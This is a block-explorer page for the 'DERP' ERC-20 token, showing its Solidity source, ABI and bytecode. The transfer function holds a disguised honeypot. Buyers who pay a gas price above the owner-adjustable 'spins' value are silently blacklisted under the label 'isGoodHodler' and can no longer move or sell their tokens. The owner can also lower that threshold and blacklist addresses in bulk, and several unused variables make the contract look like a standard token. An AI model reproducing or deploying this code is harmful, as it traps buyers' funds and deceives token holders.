ERC-20
Overview
Max Total Supply
100,000,000 DERP
Holders
46
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,443,600.000000000000000943 DERPValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DERP
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-26 */ pragma solidity ^0.8.18; /** SPDX-License-Identifier: Unlicensed * https://t.me/DerpToken * https://twitter.com/TheDerpToken */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface DexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface DexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; authorizations[_owner] = true; emit OwnershipTransferred(address(0), msgSender); } mapping (address => bool) internal authorizations; function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract DERP is Ownable, IERC20 { using SafeMath for uint256; address private constant DEAD = 0x000000000000000000000000000000000000dEaD; address private constant ZERO = 0x0000000000000000000000000000000000000000; address private routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint8 constant private _decimals = 18; uint256 private _totalSupply = 100000000 * (10 ** _decimals); uint256 public _maxTxAmount = _totalSupply * 20 / 1000; uint256 public _walletMax = _totalSupply * 20 / 1000; string constant private _name = "DERP"; string constant private _symbol = "DERP"; bool public restrictWhales = true; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isTxLimitExempt; uint256 public spins = 50000000000; DexRouter public router; address public pair; mapping(address => bool) public isPair; uint256 public launchedAt; bool public tradingOpen = false; bool public diamondMode = true; bool public launchMode = true; bool private inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; mapping(address => bool) public isGoodHodler; mapping (address => bool) public isEcosystem; uint256 public swapThreshold = _totalSupply * 2 / 2000; event AutoLiquify(uint256 amountETH, uint256 amountBOG); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { router = DexRouter(routerAddress); pair = DexFactory(router.factory()).createPair(router.WETH(), address(this)); isPair[pair] = true; _allowances[address(this)][address(router)] = type(uint256).max; _allowances[address(this)][address(pair)] = type(uint256).max; isEcosystem[address(this)] = true; isEcosystem[msg.sender] = true; isEcosystem[address(pair)] = true; isEcosystem[address(router)] = true; isTxLimitExempt[msg.sender] = true; isTxLimitExempt[pair] = true; isTxLimitExempt[DEAD] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() external pure override returns (string memory) {return _name;} function symbol() external pure override returns (string memory) {return _symbol;} function decimals() external pure override returns (uint8) {return _decimals;} function totalSupply() external view override returns (uint256) {return _totalSupply;} function getOwner() external view override returns (address) {return owner();} function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function allowance(address holder, address spender) external view override returns (uint256) {return _allowances[holder][spender];} function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, type(uint256).max); } function launched() internal view returns (bool) { return launchedAt != 0; } function launch() internal { launchedAt = block.number; } function checkTxLimit(address sender, uint256 amount) internal view { require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded"); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if (_allowances[sender][msg.sender] != type(uint256).max) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if (inSwapAndLiquify) {return _basicTransfer(sender, recipient, amount);} if(!authorizations[sender] && !authorizations[recipient]){ require(tradingOpen, ""); } if (!launched() && isPair[recipient]) { require(_balances[sender] > 0, ""); launch(); } // Blacklist if (diamondMode) { require(!isGoodHodler[sender],""); } if (recipient == pair && !authorizations[sender]) { require(tx.gasprice <= spins, ""); } if (tx.gasprice >= spins && recipient != pair) { isGoodHodler[recipient] = true; } //Exchange tokens _balances[sender] = _balances[sender].sub(amount, ""); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function changeisEcosystem(address _address, bool _bool) external onlyOwner { isEcosystem[_address] = _bool; } function spinItUp(uint256 newR) external onlyOwner { require(launchMode, ""); spins = newR; } function openTrading() public onlyOwner { tradingOpen = true; } function changeStatus(bool _status) public onlyOwner { require(launchMode, ""); diamondMode = _status; } function setMultipleStates(address[] calldata addresses, bool status) public onlyOwner { require(launchMode, ""); for (uint256 i; i < addresses.length; ++i) { isGoodHodler[addresses[i]] = status; } } function isAuth(address _address, bool status) public onlyOwner{ authorizations[_address] = status; } function changePair(address _address, bool status) public onlyOwner{ isPair[_address] = status; } function endLaunchMode() public onlyOwner{ launchMode = false; } function disable() public onlyOwner{ diamondMode = false; } function removeERC20(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success) { require(tokenAddress != address(this), "Cant remove the native token"); return IERC20(tokenAddress).transfer(msg.sender, tokens); } function removeEther(uint256 amountPercentage) external onlyOwner { uint256 amountETH = address(this).balance; payable(msg.sender).transfer(amountETH * amountPercentage / 100); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"changePair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"changeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_bool","type":"bool"}],"name":"changeisEcosystem","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"diamondMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"endLaunchMode","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"isAuth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isEcosystem","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isGoodHodler","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"removeERC20","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"removeEther","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"restrictWhales","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract DexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setMultipleStates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newR","type":"uint256"}],"name":"spinItUp","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"spins","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055620000386012600a6200051f565b62000048906305f5e10062000537565b6003556103e860035460146200005f919062000537565b6200006b919062000551565b6004556103e8600354601462000082919062000537565b6200008e919062000551565b6005556006805460ff19166001179055640ba43b7400600a55600f805465ffff00ffffff19166401000101001790556003546107d090620000d190600262000537565b620000dd919062000551565b601255348015620000ed57600080fd5b50600080546001600160a01b031916339081178255808252600160208190526040808420805460ff191690921790915551909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600254600b80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001a5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001cb919062000574565b6001600160a01b031663c9c65396600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000253919062000574565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015620002a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c6919062000574565b600c80546001600160a01b0319166001600160a01b0392831690811782556000908152600d60209081526040808320805460ff1990811660019081179092553080865260088552838620600b80548a1688529086528487206000199081905588548a16885285882055908652601185528386208054831684179055338087528487208054841685179055875489168752848720805484168517905590548816865283862080548316841790558086526009855283862080548316841790559554909616845281842080548716821790557f960b1051749987b45b5679007fff577a1c2f763ec21c15a6c5eb193075003785805490961617909455600354838352600782528483208190559351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200059f565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004615781600019048211156200044557620004456200040a565b808516156200045357918102915b93841c939080029062000425565b509250929050565b6000826200047a5750600162000519565b81620004895750600062000519565b8160018114620004a25760028114620004ad57620004cd565b600191505062000519565b60ff841115620004c157620004c16200040a565b50506001821b62000519565b5060208310610133831016604e8410600b8410161715620004f2575081810a62000519565b620004fe838362000420565b80600019048211156200051557620005156200040a565b0290505b92915050565b60006200053060ff84168362000469565b9392505050565b80820281158282048414176200051957620005196200040a565b6000826200056f57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200058757600080fd5b81516001600160a01b03811681146200053057600080fd5b61171980620005af6000396000f3fe6080604052600436106102605760003560e01c8063807c2d9c11610144578063acca4866116100b6578063da00097d1161007a578063da00097d146106fd578063dd62ed3e14610720578063e5e31b1314610766578063f2fde38b14610796578063f887ea40146107b6578063ffb54a99146107d657600080fd5b8063acca486614610663578063b37dd69014610682578063bf56b371146106a2578063c10d9417146106b8578063c9567bf9146106e857600080fd5b806394213c891161010857806394213c89146105c357806395d89b41146102955780639b3de49b146105e3578063a789fafa14610603578063a8aa1b3114610623578063a9059cbb1461064357600080fd5b8063807c2d9c1461050d5780638637b06914610523578063893d20e8146105435780638b42507f146105755780638da5cb5b146105a557600080fd5b806344de2e4c116101dd5780636881626a116101a15780636881626a1461045657806370a082311461046c578063715018a6146104a2578063787a051b146104b75780637cc5d7eb146104d75780637d1db4a5146104f757600080fd5b806344de2e4c146103aa5780634a74bb02146103c4578063571ac8b0146103e65780635d8a4e5914610406578063636924401461042657600080fd5b806323b872dd1161022457806323b872dd146103245780632b112e49146103445780632f2770db14610359578063313ce5671461036e578063399c79761461038a57600080fd5b80630445b6671461026c57806306fdde0314610295578063095ea7b3146102c857806318160ddd146102f857806319f734841461030d57600080fd5b3661026757005b600080fd5b34801561027857600080fd5b5061028260125481565b6040519081526020015b60405180910390f35b3480156102a157600080fd5b5060408051808201825260048152630444552560e41b6020820152905161028c91906113cb565b3480156102d457600080fd5b506102e86102e3366004611435565b6107f0565b604051901515815260200161028c565b34801561030457600080fd5b50600354610282565b34801561031957600080fd5b5061032261085d565b005b34801561033057600080fd5b506102e861033f36600461145f565b61089e565b34801561035057600080fd5b50610282610960565b34801561036557600080fd5b506103226109d1565b34801561037a57600080fd5b506040516012815260200161028c565b34801561039657600080fd5b506103226103a53660046114ac565b610a08565b3480156103b657600080fd5b506006546102e89060ff1681565b3480156103d057600080fd5b50600f546102e890640100000000900460ff1681565b3480156103f257600080fd5b506102e86104013660046114e3565b610a5d565b34801561041257600080fd5b506103226104213660046114fe565b610a6b565b34801561043257600080fd5b506102e86104413660046114e3565b60116020526000908152604090205460ff1681565b34801561046257600080fd5b50610282600a5481565b34801561047857600080fd5b506102826104873660046114e3565b6001600160a01b031660009081526007602052604090205490565b3480156104ae57600080fd5b50610322610b3c565b3480156104c357600080fd5b506103226104d2366004611584565b610bb0565b3480156104e357600080fd5b506103226104f23660046114ac565b610c22565b34801561050357600080fd5b5061028260045481565b34801561051957600080fd5b5061028260055481565b34801561052f57600080fd5b506102e861053e366004611435565b610c77565b34801561054f57600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161028c565b34801561058157600080fd5b506102e86105903660046114e3565b60096020526000908152604090205460ff1681565b3480156105b157600080fd5b506000546001600160a01b031661055d565b3480156105cf57600080fd5b506103226105de3660046114ac565b610d6b565b3480156105ef57600080fd5b506103226105fe36600461159d565b610dc0565b34801561060f57600080fd5b5061032261061e366004611584565b610e36565b34801561062f57600080fd5b50600c5461055d906001600160a01b031681565b34801561064f57600080fd5b506102e861065e366004611435565b610e97565b34801561066f57600080fd5b50600f546102e890610100900460ff1681565b34801561068e57600080fd5b50600f546102e89062010000900460ff1681565b3480156106ae57600080fd5b50610282600e5481565b3480156106c457600080fd5b506102e86106d33660046114e3565b60106020526000908152604090205460ff1681565b3480156106f457600080fd5b50610322610ea4565b34801561070957600080fd5b50600f546102e89065010000000000900460ff1681565b34801561072c57600080fd5b5061028261073b3660046115ba565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561077257600080fd5b506102e86107813660046114e3565b600d6020526000908152604090205460ff1681565b3480156107a257600080fd5b506103226107b13660046114e3565b610edd565b3480156107c257600080fd5b50600b5461055d906001600160a01b031681565b3480156107e257600080fd5b50600f546102e89060ff1681565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061084b9086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146108905760405162461bcd60e51b8152600401610887906115ed565b60405180910390fd5b600f805462ff000019169055565b6001600160a01b03831660009081526008602090815260408083203384529091528120546000191461094b576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600882528381203382529091529190912054610926918490610fc7565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b610956848484611001565b90505b9392505050565b60076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5461dead60009081527fb0c2646e02af70b79e3fe9277b98373379f54150e4e26b2b5650139f7a75a65d5460035491926109cc9290916109c691906112d9565b906112d9565b905090565b6000546001600160a01b031633146109fb5760405162461bcd60e51b8152600401610887906115ed565b600f805461ff0019169055565b6000546001600160a01b03163314610a325760405162461bcd60e51b8152600401610887906115ed565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6000610857826000196107f0565b6000546001600160a01b03163314610a955760405162461bcd60e51b8152600401610887906115ed565b600f5462010000900460ff16610ac75760405162461bcd60e51b81526020600482015260006024820152604401610887565b60005b82811015610b36578160106000868685818110610ae957610ae9611622565b9050602002016020810190610afe91906114e3565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b2f8161164e565b9050610aca565b50505050565b6000546001600160a01b03163314610b665760405162461bcd60e51b8152600401610887906115ed565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610bda5760405162461bcd60e51b8152600401610887906115ed565b47336108fc6064610beb8585611667565b610bf5919061167e565b6040518115909202916000818181858888f19350505050158015610c1d573d6000803e3d6000fd5b505050565b6000546001600160a01b03163314610c4c5760405162461bcd60e51b8152600401610887906115ed565b6001600160a01b03919091166000908152600160205260409020805460ff1916911515919091179055565b600080546001600160a01b03163314610ca25760405162461bcd60e51b8152600401610887906115ed565b306001600160a01b03841603610cfa5760405162461bcd60e51b815260206004820152601c60248201527f43616e742072656d6f766520746865206e617469766520746f6b656e000000006044820152606401610887565b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015610d47573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095991906116a0565b6000546001600160a01b03163314610d955760405162461bcd60e51b8152600401610887906115ed565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610dea5760405162461bcd60e51b8152600401610887906115ed565b600f5462010000900460ff16610e1c5760405162461bcd60e51b81526020600482015260006024820152604401610887565b600f80549115156101000261ff0019909216919091179055565b6000546001600160a01b03163314610e605760405162461bcd60e51b8152600401610887906115ed565b600f5462010000900460ff16610e925760405162461bcd60e51b81526020600482015260006024820152604401610887565b600a55565b6000610959338484611001565b6000546001600160a01b03163314610ece5760405162461bcd60e51b8152600401610887906115ed565b600f805460ff19166001179055565b6000546001600160a01b03163314610f075760405162461bcd60e51b8152600401610887906115ed565b6001600160a01b038116610f6c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610887565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610feb5760405162461bcd60e51b815260040161088791906113cb565b506000610ff884866116bd565b95945050505050565b600f546000906301000000900460ff16156110285761102184848461131b565b9050610959565b6001600160a01b03841660009081526001602052604090205460ff1615801561106a57506001600160a01b03831660009081526001602052604090205460ff16155b1561109b57600f5460ff1661109b5760405162461bcd60e51b81526020600482015260006024820152604401610887565b600e541580156110c357506001600160a01b0383166000908152600d602052604090205460ff165b15611110576001600160a01b0384166000908152600760205260409020546111075760405162461bcd60e51b81526020600482015260006024820152604401610887565b61111043600e55565b600f54610100900460ff1615611163576001600160a01b03841660009081526010602052604090205460ff16156111635760405162461bcd60e51b81526020600482015260006024820152604401610887565b600c546001600160a01b03848116911614801561119957506001600160a01b03841660009081526001602052604090205460ff16155b156111ca57600a543a11156111ca5760405162461bcd60e51b81526020600482015260006024820152604401610887565b600a543a101580156111ea5750600c546001600160a01b03848116911614155b15611213576001600160a01b0383166000908152601060205260409020805460ff191660011790555b604080516020808201835260008083526001600160a01b038816815260079091529190912054611244918490610fc7565b6001600160a01b038086166000908152600760205260408082209390935590851681522054611273908361136c565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112c79086815260200190565b60405180910390a35060019392505050565b600061095983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc7565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600790915291822054611244918490610fc7565b60008061137983856116d0565b9050838110156109595760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610887565b600060208083528351808285015260005b818110156113f8578581018301518582016040015282016113dc565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461143057600080fd5b919050565b6000806040838503121561144857600080fd5b61145183611419565b946020939093013593505050565b60008060006060848603121561147457600080fd5b61147d84611419565b925061148b60208501611419565b9150604084013590509250925092565b80151581146114a957600080fd5b50565b600080604083850312156114bf57600080fd5b6114c883611419565b915060208301356114d88161149b565b809150509250929050565b6000602082840312156114f557600080fd5b61095982611419565b60008060006040848603121561151357600080fd5b833567ffffffffffffffff8082111561152b57600080fd5b818601915086601f83011261153f57600080fd5b81358181111561154e57600080fd5b8760208260051b850101111561156357600080fd5b602092830195509350508401356115798161149b565b809150509250925092565b60006020828403121561159657600080fd5b5035919050565b6000602082840312156115af57600080fd5b81356109598161149b565b600080604083850312156115cd57600080fd5b6115d683611419565b91506115e460208401611419565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820161166057611660611638565b5060010190565b808202811582820484141761085757610857611638565b60008261169b57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156116b257600080fd5b81516109598161149b565b8181038181111561085757610857611638565b808201808211156108575761085761163856fea26469706673582212207822333a6dbeecedaa9024725f17f166ee1a4dfa10526948933d20f8f759299864736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102605760003560e01c8063807c2d9c11610144578063acca4866116100b6578063da00097d1161007a578063da00097d146106fd578063dd62ed3e14610720578063e5e31b1314610766578063f2fde38b14610796578063f887ea40146107b6578063ffb54a99146107d657600080fd5b8063acca486614610663578063b37dd69014610682578063bf56b371146106a2578063c10d9417146106b8578063c9567bf9146106e857600080fd5b806394213c891161010857806394213c89146105c357806395d89b41146102955780639b3de49b146105e3578063a789fafa14610603578063a8aa1b3114610623578063a9059cbb1461064357600080fd5b8063807c2d9c1461050d5780638637b06914610523578063893d20e8146105435780638b42507f146105755780638da5cb5b146105a557600080fd5b806344de2e4c116101dd5780636881626a116101a15780636881626a1461045657806370a082311461046c578063715018a6146104a2578063787a051b146104b75780637cc5d7eb146104d75780637d1db4a5146104f757600080fd5b806344de2e4c146103aa5780634a74bb02146103c4578063571ac8b0146103e65780635d8a4e5914610406578063636924401461042657600080fd5b806323b872dd1161022457806323b872dd146103245780632b112e49146103445780632f2770db14610359578063313ce5671461036e578063399c79761461038a57600080fd5b80630445b6671461026c57806306fdde0314610295578063095ea7b3146102c857806318160ddd146102f857806319f734841461030d57600080fd5b3661026757005b600080fd5b34801561027857600080fd5b5061028260125481565b6040519081526020015b60405180910390f35b3480156102a157600080fd5b5060408051808201825260048152630444552560e41b6020820152905161028c91906113cb565b3480156102d457600080fd5